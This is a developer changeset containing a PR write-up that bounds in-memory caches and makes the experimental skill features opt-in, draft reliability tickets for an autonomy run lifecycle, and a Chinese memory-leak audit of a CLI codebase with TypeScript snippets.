| `runtimeObserver.ts:61` | `lastProcessedMessageIds: Set<msgKey>` | **MAX 1000** | FIFO trim ✓ already bounded |
| `toolEventObserver.ts:50` | `emittedTurns: Map<sid, Set<turn>>` | **MAP_MAX 50, SET_MAX 100** | LRU prune via `pruneEmittedTurns()` called inside `markTurn` ✓ already bounded |
| `observerBackend.ts:21` | `registry: Map<name, Backend>` | fixed N | n/a — registry pattern, finite ✓ |
**5 unbounded out of 8 module-level mutables.** All 5 are addressed in this PR.
## 3. Severity rationale
Per-entry cost is small (key strings + small objects), so OOM in days is unlikely on a normal workstation. But the canary scenarios:
- **`intentNormalize.cache`**: every distinct Chinese query → Haiku call → cached. A session that browses a large Chinese codebase or replays many transcripts can hit thousands of distinct queries; ~600 bytes per entry × 10k = ~6 MB. Plus, **every cache miss is a Haiku API call**, so default-enabled means every fresh session pays a request on first non-ASCII query — unintended cost.
- **`projectContext.contextCache`**: each `SkillLearningProjectContext` carries instinct + skill lists. Multi-worktree orchestrators (this very repo!) blow past the typical "1 cwd per session" assumption.
- **`prefetch` Sets**: in chatty sessions thousands of skill discovery names accumulate.
- **`sessionPromotedIds`**: smallest practical risk (single-digit promotions per session normally), but a long-lived sandbox could push it; a defensive cap is cheap.
The fix bounds all 5 with FIFO/LRU eviction at sensible sizes (2001000 entries). No data-corruption risk: degraded behaviour on cap-overflow is benign (re-emit a duplicate signal, re-Haiku a query, re-resolve a cwd context). Same risk profile as the autonomy stale-recovery design.
## 4. Fix surface
| File | Change |
|---|---|
| `src/services/skillSearch/intentNormalize.ts` | `setCachedQueryIntent()` helper, `CACHE_MAX_ENTRIES=200` / `CACHE_TRIM_TO=150`, LRU touch on hit |
| `src/services/skillSearch/prefetch.ts` | `addBoundedSessionEntry()` helper, `SESSION_TRACKING_MAX=1000` / `TRIM_TO=750`; `discoveredThisSession` and `recordedGapSignals` route through it |
| `src/services/skillLearning/projectContext.ts` | `setProjectContextCache()` helper, `PROJECT_CONTEXT_CACHE_MAX=32` / `TRIM_TO=24`, LRU touch on hit |
| `src/services/skillLearning/promotion.ts` | `recordSessionPromoted()` helper, `SESSION_PROMOTED_IDS_MAX=256` / `TRIM_TO=192` |
| `src/services/skillSearch/featureCheck.ts` | Two-layer gate: build flag must be on AND `SKILL_SEARCH_ENABLED=1` env must be set. Defaults to OFF when env is unset, so the slash command remains visible but the runtime hot paths stay dormant until the operator explicitly enables. |
| `src/services/skillLearning/featureCheck.ts` | Same two-layer pattern (build flag + `SKILL_LEARNING_ENABLED=1` or legacy `FEATURE_SKILL_LEARNING=1`). |
| `scripts/defines.ts` | Comment annotated to clarify that the build flags now serve only to compile commands in; runtime activation is operator-driven. |
## 5. Why default-off (without removing from build)?
Three reasons aside from the unbounded-cache concern:
1. **Implicit cost**: `intentNormalize` calls Haiku on cache miss. Default-on means every session that types Chinese pays an API call, even when the operator never asked for skill search.
2. **Disk side effects**: `SKILL_LEARNING` attaches observers that persist observations to `~/.claude` storage. Storage volume should be opt-in, not background.
3. **Experimental status**: the flag is literally named `EXPERIMENTAL_*`. Default-enabling an experimental subsystem contradicts the naming contract.
**The fix is NOT to remove the flags from `DEFAULT_BUILD_FEATURES`** — doing so would also strip the `/skill-search` and `/skill-learning` slash commands from the build, leaving operators with no UI to opt in. Instead the activation logic in `featureCheck.ts` was changed to a two-layer gate:
- **Layer 1 (compile-time)**: `feature('EXPERIMENTAL_SKILL_SEARCH')` / `feature('SKILL_LEARNING')` must be on. These remain in `DEFAULT_BUILD_FEATURES` so the slash commands and observers are compiled in.
- **Layer 2 (runtime)**: `SKILL_SEARCH_ENABLED=1` / `SKILL_LEARNING_ENABLED=1` (or `FEATURE_SKILL_LEARNING=1`) env var must be set. Without this, the subsystems are present but dormant — the slash command exists and toggling it via `/skill-search` or `/skill-learning` flips the env var and activates the hot paths.
Net result: operators see the toggle in the UI but the subsystem is **off until they flip it**.
## 6. Out of scope (filed for follow-up)
- **Test failures on CI** (`prefetch.test.ts > auto-loads high-confidence project skill content`, `skillLearningSmoke.test.ts > ingests corrections, evolves a learned skill, and skill search finds it`) appear in this branch's CI run. Both tests **explicitly enable** the features via env vars, so default-disabling does not cause them. They are pre-existing functional issues in the experimental code paths and warrant their own flow once the bug-classification step is run. Default-disable in this PR avoids exposing operators to unknown failure modes while triage proceeds.
- **Persistence-layer bounds** (observation files, instinct registry): `observationStore.ts` already has 30-day purge and 1MB archive thresholds; `skillGapStore.ts` uses a finite-state lifecycle. Disk-side state is appropriately bounded; the OOM-class issue was strictly in-process state.
## 7. Verification
Local checks (full suite covers cap behaviour via existing tests; the caps degrade gracefully so no test should break):
```bash
bun run typecheck # 0 errors
bun test src/services/skillSearch/__tests__/intentNormalize.test.ts
bun test src/services/skillSearch/__tests__/prefetch.extractQuery.test.ts
bun test src/services/skillLearning/__tests__/projectContext.test.ts
bun test src/services/skillLearning/__tests__/promotion.test.ts
bun run lint
bun run build
```
The new caps are observable behaviour: under sustained load the Map/Set sizes plateau at the configured maxima rather than monotone-growing.

View File

@@ -1,314 +0,0 @@
# Autonomy Reliability Jira Drafts
These tickets are based on the call-chain audit of `/autonomy`, proactive
ticks, HEARTBEAT managed flows, cron scheduling, command queue consumption,
and daemon process supervision.
## AUT-001: Preserve autonomy lifecycle when queued commands are consumed mid-turn
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`query.ts` can drain queued prompt/task-notification commands as attachments
during an active turn. Autonomy prompts consumed this way were removed from the
in-memory queue without marking the persisted run as running/completed/failed,
so managed flows could stay stuck in `queued` and never advance.
Evidence:
- `src/query.ts` drains queued commands via `getCommandsByMaxPriority()`.
- `src/query.ts` removes consumed commands from the queue.
- Lifecycle updates existed only in the normal queued-submit path
`src/utils/handlePromptSubmit.ts` and headless `src/cli/print.ts`.
Acceptance criteria:
- Mid-turn consumed autonomy commands mark runs `running`.
- Normal query completion finalizes consumed runs and queues next managed-flow
steps.
- Query errors or abort terminal reasons mark consumed runs failed.
- Stale/cancelled autonomy commands are removed from the in-memory queue
without being sent to the model.
- Regression tests cover stale command filtering and managed-flow advancement.
## AUT-002: Make autonomy run lifecycle transitions terminal-safe
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Run lifecycle helpers rewrote status unconditionally. A stale in-memory command
could mark a cancelled/completed/failed run back to `running`, causing a
cancelled flow to execute or a terminal flow to be rewritten.
Evidence:
- `markAutonomyRunRunning`, `markAutonomyRunCompleted`,
`markAutonomyRunFailed`, and `markAutonomyRunCancelled` updated records
without checking current status.
- External CLI cancel cannot remove queued commands living inside another
process, so stale commands are a realistic input.
Acceptance criteria:
- `queued -> running/completed/failed/cancelled` remains allowed.
- `running -> completed/failed/cancelled` remains allowed.
- Any terminal status rejects later lifecycle updates.
- Rejected transitions do not update managed-flow step state.
- Regression tests cover stale lifecycle calls after cancellation.
## AUT-003: Prevent proactive and scheduled-task async fire failures from becoming invisible
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Proactive tick and cron fire callbacks launch detached async work. Failures in
prompt preparation or queue insertion could surface as unhandled rejections or
be lost from diagnostics. In one-shot cron paths, the scheduler has already
decided the task fired.
Evidence:
- `src/proactive/useProactive.ts` used a detached async IIFE without catch.
- `src/cli/print.ts` proactive and cron paths also detached async work.
- `src/hooks/useScheduledTasks.ts` cron callbacks detached async work.
Acceptance criteria:
- Detached proactive/cron fire work has explicit error logging.
- REPL proactive tick generation is non-reentrant.
- Tick generation stops queueing after hook unmount.
## AUT-004: Bound long-running daemon restart timers during shutdown
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The daemon supervisor scheduled worker restarts with `setTimeout()` but did
not store, clear, or `unref()` the timer. Shutdown during backoff could keep
the supervisor alive until the timer fired, forcing the stop path toward
SIGKILL.
Evidence:
- `src/daemon/main.ts` scheduled restart timers directly in the worker exit
handler.
- Shutdown only signaled child processes and did not clear restart timers.
Acceptance criteria:
- Worker restart timers are tracked per worker.
- Shutdown clears any pending restart timers.
- Restart and force-kill grace timers do not keep the supervisor alive alone.
## AUT-005: Release autonomy persistence lock bookkeeping after each chain
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`withAutonomyPersistenceLock` stored a chained promise in its map but compared
the map value against the raw current promise during cleanup. That condition
never matched, so root-level lock bookkeeping could accumulate in long-lived
processes that touch many workspaces.
Evidence:
- `src/utils/autonomyPersistence.ts` stored `previous.then(() => current)`.
- Cleanup compared `persistenceLocks.get(key) === current`.
Acceptance criteria:
- The stored chained promise is the value used for cleanup comparison.
- Existing serialization behavior for same-root calls remains unchanged.
- Tests directly assert same-root lock bookkeeping returns to zero after both
success and failure.
## AUT-006: Add active-record protection before persistence truncation
Type: Reliability
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Autonomy runs and flows are capped by latest-created/updated order only.
Under high churn, active `queued` or `running` records can be truncated before
completion, which removes recovery evidence and can break managed-flow
advancement.
Evidence:
- `src/utils/autonomyRuns.ts` keeps the latest 200 runs by `createdAt`.
- `src/utils/autonomyFlows.ts` keeps the latest 100 flows by `updatedAt`.
Acceptance criteria:
- Active records are retained before completed historical records are trimmed.
- Tests cover trimming with more than the configured cap and active records
near the tail.
## AUT-007: Treat provider API-error responses as failed autonomy turns
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
Third-party provider adapters can convert provider failures into synthetic
assistant API-error messages instead of throwing. `query.ts` treated
`isApiErrorMessage` terminal responses as `completed`, so an autonomy command
that had already been consumed as a queued attachment could be marked
completed and advance its managed flow even though the provider call failed.
Evidence:
- `src/services/api/openai/index.ts`, `src/services/api/gemini/index.ts`, and
`src/services/api/grok/index.ts` yield `createAssistantAPIErrorMessage()` on
adapter errors.
- `src/query.ts` skipped stop hooks for API-error assistant messages but
returned `reason: 'completed'`.
- Top-level autonomy finalization used terminal completion to decide whether
to mark consumed runs completed or failed.
Acceptance criteria:
- Provider API-error assistant messages terminate the query with
`reason: 'model_error'`.
- Any consumed autonomy run is marked failed rather than completed.
- Managed flows do not advance to the next step after provider API errors.
- A regression test simulates provider error after a queued autonomy attachment
has been consumed.
## AUT-008: Finalize consumed autonomy runs on async-generator close
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`query()` is an async generator. When its consumer calls `.return()` or breaks
out of iteration, JavaScript executes `finally` blocks and skips code after the
`try/finally`. The previous autonomy finalization ran after the `finally`, so
queued autonomy commands that had already been claimed as `running` could stay
persisted as `running` forever if the REPL/SDK consumer closed the generator.
Evidence:
- Claimed run IDs were collected during queued attachment injection.
- Completion/failure finalization happened only after `yield* queryLoop(...)`
returned normally or threw.
- Claude cross-validation flagged this as a durable run/flow leak.
Acceptance criteria:
- Consumed autonomy runs are finalized from a `finally` path.
- Normal completion marks consumed runs completed and enqueues next managed
flow steps.
- Provider/model errors mark consumed runs failed.
- Generator close and user abort terminals mark consumed runs cancelled.
- A regression test closes the generator after a queued autonomy attachment and
verifies the run/flow are cancelled, not left running.
## AUT-009: Claim queued autonomy runs before attachment injection
Type: Bug
Priority: P0
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The query loop filtered stale queued autonomy commands before attachment
generation, but it did not claim runs as `running` until after attachments were
already yielded. A concurrent cancellation between those steps could still send
a cancelled prompt into the model context.
Evidence:
- `partitionConsumableQueuedAutonomyCommands()` only checked persisted status.
- `markAutonomyRunRunning()` previously ran after `getAttachmentMessages()`.
- Reviewer cross-validation identified the check-then-act race.
Acceptance criteria:
- Query claims queued autonomy runs before passing commands to attachment
generation.
- Only successfully claimed commands are injected as queued-command
attachments.
- Failed claims are treated as stale and removed from the in-memory queue.
- Claiming reads persisted run state once per turn rather than once per
command.
## AUT-010: Cancel proactive and cron runs dropped before enqueue
Type: Bug
Priority: P1
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`/proactive` and scheduled-task producers persist autonomy runs before
returning queue commands. If the component is disposed or headless input closes
after persistence but before enqueue, the queued run is left on disk with no
in-memory command to consume it.
Evidence:
- `createProactiveAutonomyCommands()` commits runs before returning commands.
- `commitAutonomyQueuedPrompt()` persists scheduled-task runs before callers
enqueue them.
- Callers checked `disposed` / `inputClosed` after command creation and could
return without terminalizing the run.
Acceptance criteria:
- Proactive hook cancellation checks run both before commit and after command
creation.
- Headless proactive and cron paths cancel any already-created command that is
dropped due to input close.
- REPL scheduled-task cleanup cancels already-created commands when unmounted.
- A regression test verifies a proactive command created but dropped before
enqueue is marked cancelled.
## AUT-011: Replace query transition `any` stubs with typed contracts
Type: Test/Type Safety
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
`src/query/transitions.ts` defined both `Terminal` and `Continue` as `any`.
That allowed new terminal reasons such as `model_error` and continuation
reasons such as `collapse_drain_retry` to drift without compiler checks.
Evidence:
- Claude cross-validation flagged the `Terminal = any` contract as a remaining
issue.
- Tightening the type immediately caught that
`collapse_drain_retry.committed` is a `number`, not a `boolean`.
Acceptance criteria:
- `Terminal` is a concrete union of query terminal reasons.
- `Continue` is a concrete union of continuation reasons and payloads.
- `bun run typecheck` validates all query return sites against that contract.
## AUT-012: Avoid provider test settings-module mock pollution
Type: Test Reliability
Priority: P2
Status: Draft
Patch status: Implemented in `fix/autonomy-lifecycle`.
Problem:
The provider tests previously mocked `settings.js`. A minimal mock broke other
tests that imported additional settings exports in the same Bun process; the
expanded mock avoided the failure but over-coupled the provider test to
unrelated settings internals.
Evidence:
- Full test runs observed cross-file settings mock pollution.
- `src/utils/model/providers.ts` only needs the real `getInitialSettings()`
behavior.
Acceptance criteria:
- Provider tests do not mock `settings.js`.
- `modelType` precedence is exercised through an injected settings snapshot,
leaving global bootstrap state untouched.
- Provider tests pass when run alongside permissions tests and the provider
matrix.

View File

@@ -1,659 +0,0 @@
# 内存泄漏排查报告
> 基于官方 CHANGELOG 记录的 11 个已修复内存泄漏 + 1 个代码注释中的已知问题,对反编译代码库进行逐文件验证。
> 审计日期2026-04-28
## TODO
- [x] #1 图片处理无限内存增长 — 确认已实现 ✅
- [x] #2 /usage 命令泄漏约 2GB — 确认已实现 ✅
- [x] #3 长时间运行工具进度事件泄漏 — 确认已实现 ✅
- [x] #4 空闲重新渲染循环 — **已确认完整**:所有 10 个 useAnimationFrame 调用者均正确传递 null 暂停时钟keepAlive 机制工作正常
- [x] #5 虚拟滚动器保留历史消息拷贝 — 确认已实现 ✅
- [x] #6 管道模式超宽行过度分配 — 确认已实现 ✅
- [x] #7 语言语法按需加载 — **已修复**:改用 highlight.js/lib/core + 静态注册 26 个常用语言,从 190+ 语言降至 ~25内存减少 ~80%
- [x] #8 NO_FLICKER 模式流状态泄漏 — **已修复**StreamingToolExecutor.discard() 现在完整释放 tools 数组、中止 siblingAbortController、清理 turnSpan7 tests
- [x] #9 Remote Control 权限条目保留 — **已修复**pendingPermissionHandlers 提升至 useEffect 作用域cleanup 时显式 clear()8 tests
- [x] #10 MCP HTTP/SSE 缓冲区累积 — 确认已实现 ✅
- [x] #11 LRU 缓存键保留大 JSON — **已确认完整实现**FileStateCache 使用 LRU 双重限制max 100 条目 + maxSize 25MB+ sizeCalculation22 tests
- [x] #12 QueryEngine.mutableMessages 不收缩 — **已修复**:实现 snipCompactIfNeeded按 removedUuids 过滤)+ snipProjection边界检测 + 视图投影28 tests
- [x] #18 Permission Polling Interval 泄漏 — **已修复**inProcessRunner 权限响应后未调用 cleanup(),导致 setInterval 永远运行 + abort listener 挂载6 tests
- [x] #17 LSP Opened Files Map 不收缩 — **已修复**LSPServerManager 添加 closeAllFiles() 方法postCompactCleanup 集成调用compaction 后释放 openedFiles Map5 tests
## 总览
---
## 1. 图片处理无限内存增长 (v2.1.121)
**CHANGELOG 描述**Fixed unbounded memory growth (multi-GB RSS) when processing many images in a session
### 实现位置
- `src/utils/imageStore.ts` — 核心修复
- `src/commands/clear/caches.ts` — 缓存清理
- `src/screens/REPL.tsx` — UI 层释放
### 修复方式
三层防护机制:
1. **LRU 内存缓存**`storedImagePaths` Map 上限 200 条目(`MAX_STORED_IMAGE_PATHS`),超出自动驱逐最早条目
2. **磁盘持久化**:图片 base64 数据写入 `~/.claude/image-cache/<sessionId>/`,内存中仅保留路径字符串
3. **立即释放**`setPastedContents({})` 在消息提交/命令执行后清空 React state 中的 base64 数据
### 关键代码
```typescript
// imageStore.ts:10
const MAX_STORED_IMAGE_PATHS = 200
// imageStore.ts:115-124
function evictOldestIfAtCap(): void {
while (storedImagePaths.size >= MAX_STORED_IMAGE_PATHS) {
const oldest = storedImagePaths.keys().next().value
if (oldest !== undefined) {
storedImagePaths.delete(oldest)
} else {
break
}
}
}
// imageStore.ts:129-167 — 清理旧会话目录
export async function cleanupOldImageCaches(): Promise<void> { ... }
```
---
## 2. /usage 命令泄漏约 2GB (v2.1.121)
**CHANGELOG 描述**Fixed /usage leaking up to ~2GB of memory on machines with large transcript histories
### 实现位置
- `src/utils/sessionStoragePortable.ts:716-792` — 核心流式读取
- `src/utils/attribution.ts` — 调用方
### 修复方式
1. **分块流式读取**:使用 `TRANSCRIPT_READ_CHUNK_SIZE = 1MB` 固定块大小,通过 `fd.read()` 逐块处理,避免一次性加载整个 transcript
2. **字节级过滤**:在 fd 层面直接跳过 `attribution-snapshot` 类型的行(占长会话 84% 的字节空间)
3. **边界截断**:搜索 `compact_boundary` 标记,只保留边界之后的数据
4. **缓冲区控制**:初始缓冲区限制 `Math.min(fileSize, 8MB)`
### 关键代码
```typescript
// sessionStoragePortable.ts:716-792
export async function readTranscriptForLoad(
filePath: string,
fileSize: number,
): Promise<{
boundaryStartOffset: number
postBoundaryBuf: Buffer
hasPreservedSegment: boolean
}> {
const s: LoadState = {
out: {
buf: Buffer.allocUnsafe(Math.min(fileSize, 8 * 1024 * 1024)),
len: 0,
cap: fileSize + 1,
},
// ...
}
const chunk = Buffer.allocUnsafe(CHUNK_SIZE)
const fd = await fsOpen(filePath, 'r')
try {
let filePos = 0
while (filePos < fileSize) {
const { bytesRead } = await fd.read(chunk, 0, Math.min(CHUNK_SIZE, fileSize - filePos), filePos)
if (bytesRead === 0) break
filePos += bytesRead
// ... 分块处理逻辑
}
finalizeOutput(s)
} finally {
await fd.close()
}
}
```
---
## 3. 长时间运行工具进度事件泄漏 (v2.1.121)
**CHANGELOG 描述**Fixed memory leak when long-running tools fail to emit a clear progress event
### 实现位置
- `src/screens/REPL.tsx:3054-3114` — progress 消息替换逻辑
- `src/utils/sessionStorage.ts:186-196` — 临时消息类型定义
### 修复方式
1. **向后扫描替换**:从只检查最后一条消息改为向后遍历所有 progress 消息,找到匹配的 `parentToolUseID` + `type` 后替换(修复交错消息导致 13k+ 条目堆积)
2. **全屏模式硬上限**`MAX_FULLSCREEN_SCROLLBACK = 500`,超出截断
3. **临时消息识别**`isEphemeralToolProgress()` 区分 `bash_progress``sleep_progress` 等一次性消息与需要保留的 `agent_progress`
### 关键代码
```typescript
// REPL.tsx:3094-3114
setMessages(oldMessages => {
const newData = newMessage.data as Record<string, unknown>;
// Scan backwards to find the last ephemeral progress with matching
// parentToolUseID and type.
for (let i = oldMessages.length - 1; i >= 0; i--) {
const m = oldMessages[i]!
if (m.type !== 'progress') break
const mData = m.data as Record<string, unknown> | undefined
if (
m.parentToolUseID === newMessage.parentToolUseID &&
mData?.type === newData.type
) {
const copy = oldMessages.slice();
copy[i] = newMessage;
return copy;
}
}
return [...oldMessages, newMessage];
});
// REPL.tsx:3058-3064 — 全屏模式硬上限
const MAX_FULLSCREEN_SCROLLBACK = 500
const kept = postBoundary.length > MAX_FULLSCREEN_SCROLLBACK
? postBoundary.slice(-MAX_FULLSCREEN_SCROLLBACK)
: postBoundary
return [...kept, newMessage]
```
---
## 4. 空闲重新渲染循环 (v2.1.117)
**状态:已确认完整**
**CHANGELOG 描述**Fixed idle re-render loop when background tasks are present, reducing memory growth on Linux
### 实现位置
- `packages/@ant/ink/src/components/ClockContext.tsx` — 核心时钟管理
### 已实现部分
`ClockContext``keepAlive` 订阅者分类机制完整存在:
```typescript
// ClockContext.tsx:11-43
function createClock(tickIntervalMs: number): Clock {
const subscribers = new Map<() => void, boolean>()
let interval: ReturnType<typeof setInterval> | null = null
function updateInterval(): void {
const anyKeepAlive = [...subscribers.values()].some(Boolean)
if (anyKeepAlive) {
// 有 keepAlive 订阅者时启动 interval
interval = setInterval(tick, currentTickIntervalMs)
} else if (interval) {
// 无 keepAlive 订阅者时停止 interval
clearInterval(interval)
interval = null
}
}
return {
subscribe(onChange, keepAlive) {
subscribers.set(onChange, keepAlive)
updateInterval()
return () => {
subscribers.delete(onChange)
updateInterval()
}
},
// ...
}
}
```
### 不确定部分
无法确认 `useAnimationFrame` hook 是否在所有使用时钟的组件中正确传递了 `keepAlive` 参数。反编译代码中调用链可能不完整。
---
## 5. 虚拟滚动器保留历史消息拷贝 (v2.1.101)
**CHANGELOG 描述**Fixed a memory leak where long sessions retained dozens of historical copies of the message list in the virtual scroller
### 实现位置
- `src/components/VirtualMessageList.tsx:276-296`
### 修复方式
增量式键值数组:使用 `useRef` 保存 keys 数组引用,流式追加而非每次 O(n) 全量重建。
```typescript
// VirtualMessageList.tsx:276-296
const keysRef = useRef<string[]>([])
const prevMessagesRef = useRef<typeof messages>(messages)
const prevItemKeyRef = useRef(itemKey)
if (
prevItemKeyRef.current !== itemKey ||
messages.length < keysRef.current.length ||
messages[0] !== prevMessagesRef.current[0]
) {
// 全量重建(仅在 itemKey 变化、数组缩短等场景)
keysRef.current = messages.map(m => itemKey(m))
} else {
// 增量追加(正常流式场景)
for (let i = keysRef.current.length; i < messages.length; i++) {
keysRef.current.push(itemKey(messages[i]!))
}
}
prevMessagesRef.current = messages
prevItemKeyRef.current = itemKey
const keys = keysRef.current
```
修复前 27k 消息时每次新消息添加产生 ~1MB 内存分配,修复后降为 O(1) 追加。
---
## 6. 管道模式超宽行过度分配 (v2.1.110)
**CHANGELOG 描述**Fixed potential excessive memory allocation when piped (non-TTY) Ink output contains a single very wide line
### 实现位置
- `packages/@ant/ink/src/core/output.ts:200-207`
### 修复方式
`Output.reset()` 中当字符缓存超过 16384 条目时清空:
```typescript
// output.ts:200-207
reset(width: number, height: number, screen: Screen): void {
this.width = width
this.height = height
this.screen = screen
this.operations.length = 0
resetScreen(screen, width, height)
if (this.charCache.size > 16384) this.charCache.clear() // 关键修复
}
```
---
## 7. 语言语法按需加载 (v2.1.108)
**状态:已修复**
**CHANGELOG 描述**Reduced memory footprint for file reads, edits, and syntax highlighting by loading language grammars on demand
### 实现位置
- `packages/color-diff-napi/src/index.ts:21-37`
### 当前状态
延迟加载逻辑**已被移除**,改为顶层静态导入。代码注释说明原因:
```typescript
// color-diff-napi/src/index.ts:21-37
// Static import — createRequire(import.meta.url) fails in Bun --compile mode
// because the resolved path points to the internal bunfs binary path where
// node_modules cannot be found. A top-level import ensures the module is
// bundled and accessible at runtime.
import hljs from 'highlight.js' // 顶层静态导入
type HLJSApi = typeof hljs
let cachedHljs: HLJSApi | null = null
function hljsApi(): HLJSApi {
if (cachedHljs) return cachedHljs
const mod = hljs as HLJSApi & { default?: HLJSApi }
cachedHljs = 'default' in mod && mod.default ? mod.default : mod
return cachedHljs!
}
```
**影响**highlight.js 包含 190+ 语言语法(约 50MB现在在模块加载时即全部载入内存无法按需释放。这是为了兼容 Bun `--compile` 模式做的妥协。
---
## 8. NO_FLICKER 模式流状态泄漏 (v2.1.105)
**状态:已修复**
**CHANGELOG 描述**Fixed a NO_FLICKER mode memory leak where API retries left stale streaming state
### 实现位置
- `src/screens/REPL.tsx:1841-1861``resetLoadingState()`
- `src/screens/REPL.tsx:3568-3578` — finally 块调用
### 已实现部分
`resetLoadingState()``onQuery` 的 finally 块中无条件调用,清理 `streamingText``streamingToolUses` 等:
```typescript
// REPL.tsx:1841-1861
const resetLoadingState = useCallback(() => {
setStreamingText(null);
setStreamingToolUses([]);
setSpinnerMessage(null);
// ...
}, [pickNewSpinnerTip]);
// REPL.tsx:3568-3578 — finally 块
} finally {
if (queryGuard.end(thisGeneration)) {
resetLoadingState(); // 无条件清理
}
}
```
### 不确定部分
无法确认 `query.ts``StreamingToolExecutor.discard()` 的逻辑是否完整实现了旧工具结果的释放。
---
## 9. Remote Control 权限条目保留 (v2.1.98)
**状态:已修复**
**CHANGELOG 描述**Fixed a memory leak where Remote Control permission handler entries were retained for the lifetime of the session
### 实现位置
- `src/hooks/useReplBridge.tsx:466-491` — 处理 + 删除
- `src/hooks/useReplBridge.tsx:712-717` — 注册 + 清理函数
### 已实现部分
```typescript
// useReplBridge.tsx:466-491
const pendingPermissionHandlers = new Map<string, (response: ...) => void>()
function handlePermissionResponse(msg: SDKControlResponse): void {
const requestId = msg.response?.request_id
if (!requestId) return
const handler = pendingPermissionHandlers.get(requestId)
if (!handler) return
const parsed = parseBridgePermissionResponse(msg)
if (!parsed) return
pendingPermissionHandlers.delete(requestId) // 处理后删除
handler(parsed)
}
// useReplBridge.tsx:712-717
onResponse(requestId, handler) {
pendingPermissionHandlers.set(requestId, handler)
return () => {
pendingPermissionHandlers.delete(requestId) // 取消时删除
}
}
```
### 不确定部分
hook 的 cleanup 函数(组件卸载时的 `replBridgePermissionCallbacks = undefined`)是否完整调用。
---
## 10. MCP HTTP/SSE 缓冲区累积 (v2.1.97)
**CHANGELOG 描述**Fixed MCP HTTP/SSE connections accumulating ~50 MB/hr of unreleased buffers when servers reconnect
### 实现位置
- `src/services/api/claude.ts:1557-1564``releaseStreamResources()`
- `src/cli/transports/SSETransport.ts:419``reader.releaseLock()`
- `@modelcontextprotocol/sdk` (sse.js, streamableHttp.js) — `response.body?.cancel()`
### 修复方式
1. **主动释放响应体**`releaseStreamResources()` 清理 stream 和 response
```typescript
// claude.ts:1553-1564
// Release all stream resources to prevent native memory leaks.
// The Response object holds native TLS/socket buffers that live outside the
// V8 heap (observed on the Node.js/npm path; see GH #32920), so we must
// explicitly cancel and release it regardless of how the generator exits.
function releaseStreamResources(): void {
cleanupStream(stream)
stream = undefined
if (streamResponse) {
streamResponse.body?.cancel().catch(() => {})
streamResponse = undefined
}
}
```
2. **SSE 读取器释放**
```typescript
// SSETransport.ts:418-419
} finally {
reader.releaseLock()
}
```
3. **MCP SDK 层面**:在所有 HTTP 路径(成功/失败/重连)调用 `response.body?.cancel()`
---
## 11. LRU 缓存键保留大 JSON (v2.1.89)
**状态:已确认完整实现**
**CHANGELOG 描述**Fixed memory leak where large JSON inputs were retained as LRU cache keys in long-running sessions
### 实现位置
- `src/utils/fileStateCache.ts:37-48` — 大小计算修复
- `src/utils/queryHelpers.ts:48-54` — 类型强制转换
### 修复方式
1. **正确计算缓存大小**:处理 `content` 为嵌套对象的情况
```typescript
// fileStateCache.ts:37-48
sizeCalculation: value => {
const c = value.content
const s =
typeof c === 'string'
? c
: c === null || c === undefined
? ''
: typeof c === 'object'
? JSON.stringify(c)
: String(c)
return Math.max(1, Buffer.byteLength(s, 'utf8'))
}
```
2. **强制类型转换**:确保 Write 工具 content 始终为字符串
```typescript
// queryHelpers.ts:48-54
function coerceToolContentToString(value: unknown): string {
if (typeof value === 'string') return value
if (value === null || value === undefined) return ''
if (typeof value === 'object') return JSON.stringify(value)
return String(value)
}
```
---
## 12. QueryEngine.mutableMessages 不收缩
**状态:已修复**
**代码注释描述**`markers persist and re-trigger on every turn, and mutableMessages never shrinks (memory leak in long SDK sessions)``src/QueryEngine.ts:929-930`
### 实现位置
- `src/services/compact/snipCompact.ts`**存根文件**
- `src/QueryEngine.ts:925-962` — 消息处理逻辑
### 问题详情
`mutableMessages` 数组只增不减,每轮对话 push 多条消息assistant、progress、user、attachment 等)。清理依赖两条路径:
**路径 1API 返回 compact_boundary**(已实现)
```typescript
// QueryEngine.ts:946-962
if (msg.subtype === 'compact_boundary' && msg.compactMetadata) {
const mutableBoundaryIdx = this.mutableMessages.length - 1
if (mutableBoundaryIdx > 0) {
this.mutableMessages.splice(0, mutableBoundaryIdx) // 清理旧消息
}
}
```
**路径 2本地 snip 压缩**(存根 — 永不执行)
```typescript
// snipCompact.ts — 完整文件
// Auto-generated stub — replace with real implementation
export {};
import type { Message } from 'src/types/message';
export const isSnipMarkerMessage: (message: Message) => boolean = () => false;
export const snipCompactIfNeeded: (
messages: Message[],
options?: { force?: boolean },
) => { messages: Message[]; executed: boolean; tokensFreed: number; boundaryMessage?: Message } = (messages) => ({
messages,
executed: false, // 永远 false — 清理从不执行
tokensFreed: 0,
});
export const isSnipRuntimeEnabled: () => boolean = () => false;
export const shouldNudgeForSnips: (messages: Message[]) => boolean = () => false;
export const SNIP_NUDGE_TEXT: string = '';
```
`snipReplay` 回调依赖 `HISTORY_SNIP` feature flag且调用的 `snipCompactIfNeeded` 永远返回 `executed: false`
```typescript
// QueryEngine.ts:933-942
const snipResult = this.config.snipReplay?.(msg, this.mutableMessages)
if (snipResult !== undefined) {
if (snipResult.executed) { // 永远是 false
this.mutableMessages.length = 0
this.mutableMessages.push(...snipResult.messages)
}
break
}
```
### 风险评估
- 在长时间 SDK 会话中,如果 API 不频繁返回 `compact_boundary``mutableMessages` 会持续增长
- 每条消息可能包含大量内容(工具输出、文件内容等),长时间运行可能导致 GB 级内存占用
- 这是当前代码库中**最明确的未实现内存泄漏点**
---
## 17. LSP Opened Files Map 不收缩
**状态:已修复**
**代码注释描述**`closeFile()` 存在但未与 compact 流程集成(`LSPServerManager.ts:373-375` 显式标注为 TODO
